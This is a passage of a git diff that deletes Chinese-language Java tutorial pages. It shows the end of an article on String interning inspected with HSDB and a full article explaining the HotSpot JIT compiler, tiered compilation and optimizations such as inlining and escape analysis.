System.out.println(s1==s2); // true - - String s3 = new String("1") + new String("2"); // 4 - String s4 = "12"; // 5 - s3.intern(); // 6 - System.out.println(s3 == s4); // false - } -} -``` - -上述在编译器确定的字面量有 `he`, `llo`, `hello`, `1`,  `2`, `12`,但在真正执行到语句前,符号引用不一定解析成直接引用,即字面量对应的对象会在执行到语句时(`idc` 指令)才会创建 - -首先看通过加载类列表查看字节码指令:  - -| line | bci | bytecode | -| --- | --- | --- | -| 7 | 0 | `new #2 [Class java.lang.StringBuilder]` | -| 7 | 3 | dup | -| 7 | 4 | `invokespecial #3 [Method void ()]` | -| 7 | 7 | `new #4 [Class java.lang.String]` | -| 7 | 10 | dup | -| 7 | 11 | ` ldc #5(0) [fast_aldc]` | -| 7 | 13 | `invokespecial #6 [Method void (java.lang.String)]` | -| 7 | 16 | `invokevirtual #7 [Method java.lang.StringBuilder append(java.lang.String)]` | -| 7 | 19 | `new #4 [Class java.lang.String]` | -| 7 | 22 | dup | -| 7 | 23 | `ldc #8(1) [fast_aldc]` | -| 7 | 25 | `invokespecial #6 [Method void (java.lang.String)]` | -| 7 | 28 | `invokevirtual #7 [Method java.lang.StringBuilder append(java.lang.String)]` | -| 7 | 31 | `invokevirtual #9 [Method java.lang.String toString()]` | -| 7 | 34 | astore_1 | -| 8 | 35 | aload_1 | -| 8 | 36 | `invokevirtual #10 [Method java.lang.String intern()]` | -| 8 | 39 | pop | -| 9 | 40 | `ldc #11(2) [fast_aldc]` | -| 9 | 42 | astore_2 | -| 10 | 43 | `getstatic #12 [Field java.io.PrintStream out]` | -| 10 | 46 | aload_1 | -| 10 | 47 | aload_2 | -| 10 | 48 | if_acmpne 55 | -| 10 | 51 | iconst_1 | -| 10 | 52 | goto 56 | -| 10 | 55 | iconst_0 | -| 10 | 56 | `invokevirtual #13 [Method void println(boolean)]` | -| 12 | 59 | `new #2 [Class java.lang.StringBuilder]` | -| 12 | 62 | dup | -| 12 | 63 | `invokevirtual #13 [Method void println(boolean)]` | -| 12 | 66 | `new #4 [Class java.lang.String]` | -| 12 | 69 | dup | -| 12 | 70 | `ldc #14(3) [fast_aldc]` | -| 12 | 72 | `invokespecial #6 [Method void (java.lang.String)]` | -| 12 | 75 | `invokevirtual #7 [Method java.lang.StringBuilder append(java.lang.String)]` | -| 12 | 78 | `new #4 [Class java.lang.String]` | -| 12 | 81 | dup | -| 12 | 82 | `ldc #15(4) [fast_aldc]` | -| 12 | 84 | `invokespecial #6 [Method void (java.lang.String)]` | -| 12 | 87 | `invokevirtual #7 [Method java.lang.StringBuilder append(java.lang.String)]` | -| 12 | 90 | `invokevirtual #9 [Method java.lang.String toString()]` | -| 12 | 93 | astore_3 | -| 13 | 94 | `ldc #16(5) [fast_aldc]` | -| 13 | 96 | astore #4 | -| 14 | 98 | aload_3 | -| 14 | 99 | `invokevirtual #10 [Method java.lang.String intern()]` | -| 14 | 102 | pop | -| 15 | 103 | `getstatic #12 [Field java.io.PrintStream out]` | -| 15 | 106 | aload_3 | -| 15 | 107 | aload #4 | -| 15 | 109 | if_acmpne 116 | -| 15 | 112 | iconst_1 | -| 15 | 113 | goto 117 | -| 15 | 116 | iconst_0 | -| 15 | 117 | `invokevirtual #13 [Method void println(boolean)]` | -| 16 | 120 | return | - -可以看到确实有 6 个`idc`,但如果我们在第一行语句打上断点,会发现它们都不在 StringTable(但这里的 `he` 在,它可能被其他类用到了),然后执行第一行,会发现 `he` 和 `llo` 在了,但 `hello` 不在 - -``` -jseval "st = sa.vm.stringTable;st.stringsDo(function (s) { if (sapkg.oops.OopUtilities.stringOopToString(s).matches('^(he|llo|hello|1|2|12)')) {print(s + ': ');s.printValueOn(java.lang.System.out); println('')}})" -``` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-ca5d06a0-1690-4a8f-98cb-aa6bd7800afe.png) - -但是 `hello` 对象还是存在的(new) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-85253e10-d0c2-442b-a26b-91b1b2588f1c.png) - -接着执行 s1.intern 会将 `hello` 对象的地址放入 StringTable - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-801d35f2-0c8a-4699-afbf-057c1e6cac6c.png) - -再执行 `String s2="hello";` 会发现 `hello` 对象仍然只有一个,都指向同一个。 - -而继续在 6 打断点,即执行完 `String s4 = "12";`,因为 `12` 不在字符串常量池,那么会新建一个 `12`的实例,并让字符串常量池引用它,这样会发现就有两个 `12` 了 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-47a42bfa-7645-4c9b-bcd8-aeabea1ae44f.png) - - -参考链接:https://juejin.cn/post/7072344870374866951 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/jit.md b/docs/src/jvm/jit.md deleted file mode 100644 index a3531f0d45..0000000000 --- a/docs/src/jvm/jit.md +++ /dev/null @@ -1,630 +0,0 @@ ---- -title: 10 张手绘图 8000 字深入理解 JIT(即时编译器) -shortTitle: 深入理解 JIT -category: - - Java核心 -tag: - - Java虚拟机 -description: 本篇内容我们主要介绍了深入理解 JIT(即时编译器),包括 JVM 的编译器、JVM 的分层编译、JIT 的触发、JIT 的编译优化等内容。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,jit,即时编译器 ---- - - -[前面我们讲了](https://javabetter.cn/jvm/what-is-jvm.html),为了提升 Java 运行时的性能,JVM 引入了 JIT,也就是即时编译(Just In Time)技术。 - -![](https://cdn.paicoding.com/stutymore/what-is-jvm-20231223155202.png) - -Java 代码首先被编译为字节码,JVM 在运行时通过解释器执行字节码。当某部分的代码被频繁执行时,JIT 会将这些热点代码编译为机器码,以此来提高程序的执行效率。 - -![](https://cdn.paicoding.com/stutymore/jit-20240105180655.png) - -那为什么 JIT 就能提高程序的执行效率呢,解释器不也是将字节码翻译为机器码交给操作系统执行吗? - -解释器在执行程序时,对于每一条字节码指令,都需要进行一次解释过程,然后执行相应的机器指令。这个过程在每次执行时都会重复进行,因为解释器不会记住之前的解释结果。 - -与此相对,JIT 会将频繁执行的字节码编译成机器码。这个过程只发生一次。一旦字节码被编译成机器码,之后每次执行这部分代码时,直接执行对应的机器码,无需再次解释。 - -除此之外,JIT 生成的机器码更接近底层,能够更有效地利用 CPU 和内存等资源,同时,JIT 能够在运行时根据实际情况对代码进行优化(如内联、循环展开、分支预测优化等),这些优化是在机器码级别上进行的,可以显著提升执行效率。 - -换句话说,解释器是一个循规蹈矩的人,每次都要按照规则来执行,而 JIT 是一个“偷奸耍滑”的人,他会根据实际情况来做出最优的选择。 - -好,我们再来梳理一下。 - -Java 的执行过程分为两步,第一步由 javac 将源码编译成字节码,在这个过程中会进行词法分析、语法分析、语义分析。 - -第二步,解释器会逐行解释字节码并执行,在解释执行的过程中,JVM 会对程序运行时的信息进行收集,在这些信息的基础上,JIT 会逐渐发挥作用,它会把字节码编译成机器码,但不是所有的代码都会被编译,只有被 JVM 认定为热点代码,才会被编译。 - -**怎么样才会被认为是热点代码呢**? - -JVM 中有一个阈值,当方法或者代码块的在一定时间内的调用次数超过这个阈值时就会被认定为热点代码,然后编译存入 codeCache 中。当下次执行时,再遇到这段代码,就会从 codeCache 中直接读取机器码,然后执行,以此来提升程序运行的性能。 - -整体的执行过程大致如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-9a62fc02-1a6a-451e-bb2b-19fc086d5be0.png) - -这里的 codeCache 让我想起了 [Redis](https://javabetter.cn/redis/rumen.html),Redis 也是将热点数据存储在内存中,以此来提升访问速度。 - -OK,解释清楚了 JIT 的原理,我们来看看 JIT 的实现。 - -## JVM 的编译器 - -JVM 中集成了两种编译器,一种是 Client Compiler,另外一种是 Server Compiler。 - -Client Compiler 注重启动速度和局部的优化,Server Compiler 则更加关注全局的优化,性能会更好,但由于会进行更多的全局分析,所以启动速度会慢一些。 - -两种编译器相辅相成,互为臂膀,共同把 JVM 的性能带到了一个新的高度。 - -### Client Compiler - -就那虚拟机中的太子 HotSpot 来说吧,它就带有一个 Client Compiler,被称为 C1 编译器,启动速度极快。 - -C1 通常会做这三件事: - -①、**局部简单可靠的优化**,比如在字节码上进行一些基础优化,方法内联、常量传播等。 - -我们来举例看一下什么是方法内联,假设我们有两个简单的方法: - -```java -public class Example { - public int add(int a, int b) { - return a + b; - } - - public void run() { - int result = add(5, 3); - System.out.println(result); - } -} -``` - -在执行 run 方法时,会调用 add 方法,方法内联优化后,会将 add 方法的字节码直接插入到 run 方法中,这样就不用再去调用 add 方法了,直接执行 run 方法就可以了。 - -```java -public class Example { - public void run() { - int a = 5; - int b = 3; - int result = a + b; // 这里是内联后的 add 方法体 - System.out.println(result); - } -} -``` - -②、**将字节码编译成 HIR**(High-level Intermediate Representation),别计较它中文名叫什么,我觉得与其死板的翻译,不如就记住它叫 HIR,一种比较接近源代码的形式。 - -通过借助 HIR 我们可以实现冗余代码消除、死代码删除等编译优化工作,我们同样通过代码来看一下。 - -```java -public class OptimizationExample { - public int calculate(int x, int y) { - int a = x + y; - int b = x + y; // 冗余计算 - return a * b; - } -} -``` - -很明显,上面的代码中,b 的值是可以直接通过 a 的值计算出来的,所以 b 的计算就是冗余的,我们可以通过 HIR 来消除这种冗余计算。 - -```java -public class OptimizationExample { - public int calculate(int x, int y) { - int a = x + y; - return a * a; // 使用一个计算结果 - } -} -``` - -在 HIR 优化阶段,编译器识别到 x + y 的计算是冗余的,因此它将第二次计算的结果用第一次的结果替换。 - -③、**最后将 HIR 转换成 LIR**(Low-level Intermediate Representation),比较接近机器码了。这期间会做一些寄存器分配、窥孔优化等。 - -寄存器分配是指在编译时将程序中的变量分配到 CPU 的寄存器上。由于寄存器的访问速度远快于内存,因此合理的寄存器分配可以显著提高程序的执行效率。 - -来看这段代码: - -```java -int a = 5; -int b = 10; -int c = a + b; -System.out.println(c); -``` - -在没有寄存器优化的情况下,编译器会将变量 a、b、c 分配到内存中,然后在执行时,再从内存中读取变量的值。有了寄存器分配优化呢? - -```java -R1 = 5 // 将 5 赋值给寄存器 R1 -R2 = 10 // 将 10 赋值给寄存器 R2 -R3 = R1 + R2 // 将 R1 和 R2 的和赋值给寄存器 R3 -``` - -这样,变量 a、b、c 就被分配到了寄存器 R1、R2、R3 上,而不是内存中,寄存器的访问速度远快于内存,所以这样的优化可以提高程序的执行效率。 - -窥孔优化(Peephole Optimization)是一种在生成机器码阶段进行的局部优化技术。编译器“窥视”一小段生成的机器码,并尝试找出并替换更高效的指令序列。 - -假设有这样一段简单的机器码: - -```java -MOV R1, 0 -ADD R1, 5 -``` - -这段代码首先将寄存器 R1 置零,然后再将 5 加到 R1 上,窥孔优化会将这两条指令合并成一条: - -```java -MOV R1, 5 -``` - -这样,仅用一条指令就完成了同样的操作,显然会提高代码执行的效率。 - -### Server Compiler - -Server Compiler 主要关注一些编译耗时较长的全局优化,甚至会还会根据程序运行的信息进行一些不可靠的激进优化。这种编译器的启动时间长,适用于长时间运行的后台程序,它的性能通常比 Client Compiler 高 30%以上。目前,Hotspot 虚拟机中使用的 Server Compiler 有两种:C2 和 Graal。 - -#### C2 Compiler - -Hotspot 中,默认的 Server Compiler 是 C2 编译器。 - -C2 编译器在进行编译优化时,会使用一种控制流与数据流结合的图数据结构,称为 Ideal Graph,我愿称之为“理想图”。 - -Ideal Graph 表示当前程序的数据流向和指令间的依赖关系,依靠这种图结构,某些优化步骤(尤其是涉及浮动代码块的优化步骤)会变得不那么复杂。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-f4d1b763-be02-4bb2-ab0e-45b1f0eb9550.png) - -解析字节码的时候,C2 会向一个空的 Graph 中添加节点,Graph 中的节点通常对应一个指令块,每个指令块包含多条相关联的指令,JVM 会利用一些优化技术对这些指令进行优化,比如 Global Value Numbering、常量折叠等,解析结束后,还会进行一些死代码剔除的操作。 - -生成 Ideal Graph 后,会在这个基础上结合收集到的程序运行信息来进行一些全局的优化。 - -无论是否进行全局优化,Ideal Graph 都会被转化为一种更接近机器层面的 MachNode Graph,最后编译的机器码就是从 MachNode Graph 中得到的。 - -#### Graal Compiler - -从 JDK 9 开始,Hotspot 中集成了一种新的 Server Compiler,也就是 Graal 编译器。相比 C2,Graal 有这样几种关键特性: - -①、JVM 会在解释执行的时候收集程序运行的各种信息,然后根据这些信息进行一些基于预测的激进优化,比如分支预测,根据程序不同分支的运行概率,选择性地编译一些概率较大的分支。Graal 比 C2 更加青睐这种优化,所以 Graal 的峰值性能通常要比 C2 更好。 - -②、与 C2(主要用 C++ 编写)不同,Graal 使用 Java 语言编写。这样做的好处是,Graal 可以直接使用 JVM 的内存管理机制,不需要像 C2 那样自己实现内存管理,这样就可以避免一些内存管理上的问题。 - -③、Graal 引入了许多现代化的编译优化技术,例如更复杂的内联策略、循环优化等,这些在某些情况下可以比 C2 产生更优化的代码。 - -④、改进的逃逸分析有助于更好地进行栈上分配和锁消除,从而提升性能。 - -⑤、Graal 不仅能作为 JIT 编译器使用,还支持 Ahead-of-Time(AOT)编译,这有助于减少 Java 应用的启动时间和内存占用。 - -Graal 编译器可以通过 JVM 参数`-XX:+UnlockExperimentalVMOptions -XX:+UseJVMCICompiler` 启用。当启用时,它将替换掉 HotSpot 中的 C2,并响应原本由 C2 负责的编译请求。 - -## JVM 的分层编译 - -Java 7 引入了分层编译的概念,它结合了 C1 和 C2 的优势,追求启动速度和峰值性能的一个平衡。分层编译将 JVM 的执行状态分为了五个层次。五个层级分别是: - -Java 7 中引入的分层编译(Tiered Compilation)确实是一种结合了 C1 编译器(Client Compiler)和 C2 编译器(Server Compiler)优势的技术。分层编译旨在优化 Java 程序的启动速度和长期运行时的性能。这一机制通过在不同的层级应用不同的编译策略,以达到快速启动和最高性能的平衡。在 HotSpot JVM 中,分层编译将程序执行状态分为五个层次: - -1. **层级 0 - 解释器(Interpreter)**:这是程序最初执行的阶段,代码通过解释器逐行解释执行。这一阶段的目的是尽快开始执行而不等待编译完成。 - -2. **层级 1 - C1 编译器带有轻量级优化(C1 with Simple Optimizations)**:在这一层级,代码首次由 C1 编译器编译,应用了一些基本的优化,如方法内联。这一阶段的编译速度较快,能迅速提供优于解释执行的性能。 - -3. **层级 2 - C1 编译器带有完整优化(C1 with Full Optimizations)**:此层级仍由 C1 编译器处理,但应用了更多优化技术,如逃逸分析。虽然这些优化需要更长的编译时间,但能进一步提升运行性能。 - -4. **层级 3 - C1 编译器带有分析数据收集(C1 with Profiling)**: 在这个层级,C1 编译器除了执行优化,还收集方法执行的详细分析数据(如分支频率、热点代码等)。这些数据将用于 C2 编译器的后续优化。 - -5. **层级 4 - C2 编译器优化(C2 Optimizations)**:最终阶段由 C2 编译器处理,它使用收集的分析数据进行深入优化。C2 编译器的优化更加彻底和复杂,适用于长时间运行的代码,能够提供最佳的运行性能。 - -下图中列举了几种常见的编译路径: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-a6cebc82-ed4d-4b6d-892a-c5b245d227ab.png) - -1)图中第 ① 条路径,代表编译的一般情况,热点方法从解释执行到被 3 层的 C1 编译,最后被 4 层的 C2 编译。 - -2)如果方法比较小(比如 getter/setter),3 层的 profiling 没有收集到有价值的数据,JVM 就会断定该方法对于 C1 代码和 C2 代码的执行效率相同,就会执行图中第 ② 条路径。 - -在这种情况下,JVM 会在 3 层编译之后,放弃进入 C2 编译,直接选择用 1 层的 C1 编译运行。 - -3)在 C1 忙碌的情况下,执行图中第 ③ 条路径,在解释执行过程中对程序进行 profiling,根据信息直接由第 4 层的 C2 编译。 - -4)C1 中的执行效率是 1 层>2 层>3 层,第 3 层一般要比第 2 层慢 35%以上,所以在 C2 忙碌的情况下,执行图中第 ④ 条路径。这时方法会被 2 层的 C1 编译,然后再被 3 层的 C1 编译,以减少方法在 3 层的执行时间。 - -5)如果编译器做了一些比较激进的优化,比如分支预测,在实际运行时发现预测出错,这时就会进行反优化,重新进入解释执行,图中第 ⑤ 条执行路径代表的就是反优化。 - -分层编译通过在不同的阶段应用不同程度的优化,既提供了较快的应用启动时间,又确保了长时间运行的应用能达到峰值性能。这种动态适应的编译策略是 Java 平台持续优化性能的关键手段之一。 - -从 JDK 8 开始,JVM 默认开启分层编译。 - -## JIT 的触发 - -JVM 根据方法的调用次数以及循环回边的执行次数来触发 JIT。 - -循环回边是一个控制流图中的概念,程序中可以简单理解为往回跳转的指令,比如下面这段代码: - -```java -public void nlp(Object obj) { - int sum = 0; - for (int i = 0; i < 200; i++) { - sum += i; - } -} -``` - -上面这段代码经过编译生成下面的[字节码](https://javabetter.cn/jvm/bytecode.html)。 - -``` -public void nlp(java.lang.Object); - Code: - 0: iconst_0 - 1: istore_1 - 2: iconst_0 - 3: istore_2 - 4: iload_2 - 5: sipush 200 - 8: if_icmpge 21 - 11: iload_1 - 12: iload_2 - 13: iadd - 14: istore_1 - 15: iinc 2, 1 - 18: goto 4 - 21: return -``` - -其中,偏移量为 18 的字节码将往回跳至偏移量为 4 的字节码中。在解释执行时,每当运行一次该指令,JVM 便会将该方法的循环回边计数器加 1。 - -在即时编译过程中,编译器会识别循环的头部和尾部。上面这段字节码中,循环体的头部和尾部分别为偏移量为 11 的字节码和偏移量为 15 的字节码。编译器将在循环体结尾增加循环回边计数器的代码,来对循环进行计数。 - -当方法的调用次数和循环回边的次数的和,超过由参数 `-XX:CompileThreshold` 指定的阈值时,就会触发即时编译。 - -> C1 默认值为 1500;C2 默认值为 10000。 - -开启分层编译的情况下,`-XX:CompileThreshold` 参数设置的阈值将会失效,触发及时编译会由以下的条件来判断: - -- 方法调用次数大于由参数`-XX:TierXInvocationThreshold` 指定的阈值乘以系数。 -- 方法调用次数大于由参数`-XX:TierXMINInvocationThreshold` 指定的阈值乘以系数,并且方法调用次数和循环回边次数之和大于由参数`-XX:TierXCompileThreshold` 指定的阈值乘以系数时。 - -分层编译触发条件公式(i 为调用次数,b 是循环回边次数,s 是系数): - -``` -i > TierXInvocationThreshold * s || (i > TierXMinInvocationThreshold * s && i + b > TierXCompileThreshold * s) -``` - -满足其中一个条件就会触发即时编译,并且 JVM 会根据当前的编译方法数以及编译线程数动态调整系数 s。 - -## JIT 的编译优化 - -即时编译器会对正在运行的程序进行一系列优化,包括: - -- 字节码解析过程中的分析 -- 根据编译过程中代码的一些中间形式来做局部优化 -- 根据程序依赖图进行全局优化 - -最后才会生成机器码。 - -### 中间表达形式 - -在编译原理中,通常会把编译器分为前端和后端,前端编译经过词法分析、语法分析、语义分析生成中间表达形式 IR(Intermediate Representation),后端会对 IR 进行优化,生成目标代码。 - -[Java 字节码](https://javabetter.cn/jvm/bytecode.html)就是一种 IR,但是字节码的结构复杂,也不适合做全局的分析优化。 - -现代编译器一般采用图结构的 IR,也就是所谓的静态单赋值——Static Single Assignment,SSA 是目前比较常用的一种 IR。这种 IR 的特点是每个变量只能被赋值一次,而且只有当变量被赋值之后才能使用。 - -举个例子(前面也讲过,这里再强调一遍): - -```java -{ - a = 1; - a = 2; - b = a; -} -``` - -我们可以轻易地发现 a = 1 的赋值是冗余的。传统的编译器需要借助数据流分析,从后至前依次确认哪些变量的值被覆盖掉了。不过,如果借助了 SSA IR,编译器则可以很容易识别冗余赋值。 - -上面代码的 SSA IR 形式的伪代码可以表示为: - -```java -{ - a_1 = 1; - a_2 = 2; - b_1 = a_2; -} -``` - -由于 SSA IR 中每个变量只能赋值一次,所以代码中的 a 在 SSA IR 中会分成 a_1、a_2 两个变量来赋值,这样编译器就可以很容易通过扫描这些变量来发现 a_1 的赋值后并没有使用,由此认定该赋值是冗余的。 - -除此之外,SSA IR 对其他优化方式也有很大的帮助,例如下面这个死代码删除(Dead Code Elimination)的例子: - -```java -public void DeadCodeElimination{ - int a = 2; - int b = 0 - if(2 > 1){ - a = 1; - } else{ - b = 2; - } - add(a,b) -} -``` - -可以得到 SSA IR 伪代码: - -``` -a_1 = 2; -b_1 = 0 -if true: - a_2 = 1; -else - b_2 = 2; -add(a,b) -``` - -编译器通过执行字节码可以发现 else 分支不会被执行。经过死代码删除后就可以得到代码: - -```java -public void DeadCodeElimination{ - int a = 1; - int b = 0; - add(a,b) -} -``` - -我们可以将编译器的每一种优化看成一个图优化算法,它接收一个 IR 图,并输出经过转换后的 IR 图。编译器优化的过程就是一个个图节点的优化串联起来的。 - -#### C1 的 HIR - -前文提到了 C1 编译器内部使用了高级中间表达形式 HIR,低级中间表达形式 LIR 来进行各种优化,这两种 IR 都是 SSA 形式的。 - -HIR 是由很多基本块(Basic Block)组成的控制流图结构,每个块包含很多 SSA 形式的指令。基本块的结构如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-037b406d-1040-4bf8-976c-abf14a92402d.png) - -其中,predecessors 表示前驱基本块,由于前驱可能是多个,所以是 BlockList 结构,由多个 BlockBegin 组成的可扩容数组。 - -同样,successors 表示多个后继基本块 BlockEnd。 - -除了这两部分就是主体块,里面包含程序执行的指令和一个 next 指针,指向下一个执行的主体块。 - -从字节码到 HIR 的构造最终调用的是 GraphBuilder,GraphBuilder 会遍历字节码,将所有代码基本块存储为一个链表结构,但是这个时候的基本块只有 BlockBegin,不包括具体的指令。 - -第二步 GraphBuilder 会用一个 ValueStack 作为[操作数栈和局部变量表](https://javabetter.cn/jvm/stack-frame.html),模拟执行字节码,构造出对应的 HIR,填充之前空的基本块,这里给出简单字节码块构造 HIR 的过程示例,如下所示: - -``` -字节码 Local Value operand stack HIR -5: iload_1 [i1,i2] [i1] -6: iload_2 [i1,i2] [i1,i2] - ................................................ i3: i1 * i2 -7: imul -8: istore_3 [i1,i2,i3] [i3] -``` - -可以看出,当执行 iload_1 时,操作数栈压入变量 i1,执行 iload_2 时,操作数栈压入变量 i2,执行相乘指令 imul 时弹出栈顶两个值,构造出 HIR i3 : i1 \* i2,生成的 i3 入栈。 - -C1 编译器的大部分优化工作都是在 HIR 之上完成的。当优化完成之后它会将 HIR 转化为 LIR,LIR 和 HIR 类似,也是一种编译器内部用到的 IR,HIR 通过优化消除一些中间节点就可以生成 LIR,形式上更加简化。 - -#### C2 的 Sea-of-Nodes IR - -C2 编译器中的 Ideal Graph 采用的是一种名为 Sea-of-Nodes 中间表达形式,同样也是 SSA 形式。 - -它最大的特点是去除了变量的概念,直接采用值来进行运算。为了方便理解,可以利用 IR 可视化工具 [Ideal Graph Visualizer(IGV)](https://www.graalvm.org/latest/tools/igv/),来展示具体的 IR 图。比如下面这段代码: - -```java -public static int foo(int count) { - int sum = 0; - for (int i = 0; i < count; i++) { - sum += i; - } - return sum; -} -``` - -对应的 IR 图如下所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-f96da42a-568b-45ba-bed1-f4238ac32e14.png) - -B0 基本块中 0 号 Start 节点是方法入口,B3 中 21 号 Return 节点是方法出口。 - -红色加粗线条为控制流,蓝色线条为数据流,其他颜色的线条则是特殊的控制流或数据流。 - -被控制流所连接的是固定节点,其他的则是浮动节点。 - -依赖于这种图结构,通过收集程序运行的信息,JVM 可以通过 Schedule 那些浮动节点,从而获得最好的编译效果。 - -### 方法内联 - -来看下面这段代码: - -```java -public static boolean flag = true; -public static int value0 = 0; -public static int value1 = 1; -​ -public static int foo(int value) { - int result = bar(flag); - if (result != 0) { - return result; - } else { - return value; - } -} -​ -public static int bar(boolean flag) { - return flag ? value0 : value1; -} -``` - -来看一下 bar 方法的 IR 图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-04ca4a7e-46e7-4782-bb43-333aea31ed57.png) - -内联后的 IR 图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/jit-4bf4d190-7fd2-4542-b948-0c85ee6963d2.png) - -内联将被调用方法的 IR 图节点复制到调用者方法的 IR 图中。在这个例子中,bar 方法的 IR 图中的 0 号 Start 节点被复制到了 foo 方法的 IR 图中,从而避免了方法调用的开销。 - -### 逃逸分析 - -逃逸分析是 JIT 用于优化内存管理和同步操作的重要技术。通过分析对象是否逃逸到方法或线程的外部,编译器可以做出更智能的存储和同步决策。 - -逃逸分析通常是在方法内联的基础上进行的,JIT 可以根据逃逸分析的结果进行诸如锁消除、栈上分配以及标量替换的优化。 - -下面这段代码的就是对象未逃逸的例子: - -```java -public class Example { - public static void main(String[] args) { - example(); - } - - public static void example() { - Foo foo = new Foo(); - Bar bar = new Bar(); - bar.setFoo(foo); - } -} - -class Foo {} - -class Bar { - private Foo foo; - public void setFoo(Foo foo) { - this.foo = foo; - } -} -``` - -在这个例子中,`example` 方法创建了两个对象:`Foo` 和 `Bar`。然后,`Bar` 对象通过 `setFoo` 方法引用了 `Foo` 对象。 - -1. **Foo 对象的逃逸情况**: - - - `Foo` 对象被创建并传递给 `Bar` 对象的 `setFoo` 方法。 - - 一旦 `setFoo` 方法被调用,`Foo` 对象的引用存储在 `Bar` 对象的实例变量 `foo` 中。 - - 但是,`Bar` 对象本身在 `example` 方法结束后就不再使用。 - - 这意味着即使 `Foo` 对象的引用被存储在另一个对象中,但由于 `Bar` 对象本身也不会逃逸出 `example` 方法,因此 `Foo` 对象实际上也没有逃逸。 - -2. **Bar 对象的逃逸情况**: - - `Bar` 对象在 `example` 方法中被创建并使用,但之后没有被传递到其他方法或返回。 - - 因此,`Bar` 对象也没有逃逸出 `example` 方法。 - -根据逃逸分析的结果,JIT 可能做出以下优化决策: - -①、**锁消除**:如果 `Foo` 或 `Bar` 类中有[同步块](https://javabetter.cn/thread/synchronized-1.html)(使用 `synchronized`),由于对象没有逃逸,编译器可以安全地消除这些锁操作。 - -②、**栈上分配**:由于 `Foo` 和 `Bar` 对象都没有逃逸到方法之外,编译器可以选择在栈上分配这两个对象,而非在堆上分配。这样可以提高内存分配的效率,并减少垃圾收集器的压力。 - -> 堆和栈的区别可以查看这篇内容:[JVM 的内存数据区](https://javabetter.cn/jvm/neicun-jiegou.html) - -我们都知道 Java 的对象是在堆上分配的,而堆是对所有对象可见的。同时,JVM 需要对所分配的堆内存进行管理,并且在对象不再被引用时[回收其所占据的内存](https://javabetter.cn/jvm/gc.html)。 - -如果逃逸分析能够证明某些新建的对象不逃逸,那么 JVM 完全可以将其分配至栈上,并且在 new 语句所在的方法退出时,通过弹出当前方法的[栈桢](https://javabetter.cn/jvm/stack-frame.html)来自动回收所分配的内存空间。 - -这样一来,我们便无须借助[垃圾收集器](https://javabetter.cn/jvm/gc-collector.html)来处理不再被引用的对象。 - -不过 Hotspot 并没有进行实际的栈上分配,而是使用了标量替换的技术。 - -③、**标量替换**(Scalar Replacement) - -标量替换是一种优化技术,其中编译器将一个聚合对象分解为其各个字段。如果这个对象没有逃逸出方法,那么它的各个字段可以视为独立的局部变量。 - -这种技术允许编译器进行更细粒度的优化,如更好的寄存器分配和减少不必要的内存分配。 - -考虑这段代码: - -```java -public class Example { - - @AllArgsConstructor - static class Cat { - int age; - int weight; - } - - public static void example() { - Cat cat = new Cat(1, 10); - addAgeAndWeight(cat.age, cat.weight); - } - - public static void addAgeAndWeight(int age, int weight) { - // 对年龄和体重进行一些操作 - } - - public static void main(String[] args) { - example(); - } -} -``` - -1. **对象的使用范围**: - - - 在 `example` 方法中创建了一个 `Cat` 对象,并将其字段 `age` 和 `weight` 传递给了 `addAgeAndWeight` 方法。 - - `Cat` 对象在 `example` 方法中创建且只在该方法中使用,没有被传递到方法外部或赋值给外部引用。 - -2. **逃逸分析**: - - - 由于 `Cat` 对象在方法外部没有引用,它没有逃逸出 `example` 方法的作用域。 - - 这意味着 `Cat` 对象是一个局部对象,适合进行标量替换。 - -3. **标量替换的应用**: - - - JVM 的 JIT 编译器会分析 `Cat` 对象的使用情况。基于逃逸分析,编译器可以决定不在堆上分配 `Cat` 对象,而是将其分解为两个独立的局部变量 `age` 和 `weight`。 - - 这样,原本由 `Cat` 对象占用的堆空间就被节省下来,而且减少了垃圾回收的压力。 - -4. **优化后的执行**: - - 在执行 `example` 方法时,`Cat` 对象的字段 `age` 和 `weight` 直接作为栈上的局部变量处理,避免了堆分配。 - -标量替换后的伪代码如下所示: - -```java -public class Example { - public static void example() { - int catAge = 1; - int catWeight = 10; - addAgeAndWeight(catAge, catWeight); - } - - public static void addAgeAndWeight(int age, int weight) { - // 方法实现 - } -} -``` - -可以看到,`Cat` 对象被分解为两个局部变量 `catAge` 和 `catWeight`,并且直接作为参数传递给了 `addAgeAndWeight` 方法。 - - -### 窥孔优化与寄存器分配 - -前面我们也简单分析了一下窥孔优化与寄存器分配,相信大家对这两个概念都有了一定的了解,这里简单总结下。 - -窥孔优化就是将编译器所生成的中间代码中的某些组合替换为效率更高的指令组,比如强度削减、常数合并等,看下面这个例子就是一个强度削减的例子: - -```java -y1=x1*3 -经过强度削减后得到 -y1=(x1<<1)+x1 -``` - -编译器使用移位和加法削减乘法的强度,使用更高效率的指令组。 - -寄存器分配也是一种编译的优化手段,在 C2 编译器中普遍的使用。它是通过把频繁使用的变量保存在寄存器中,CPU 访问寄存器的速度比内存快得多,可以提升程序的运行速度。 - -经过寄存器分配和窥孔优化之后,程序就会被转换成机器码保存在 codeCache 中。 - -## 小结 - -本文主要介绍了 JIT 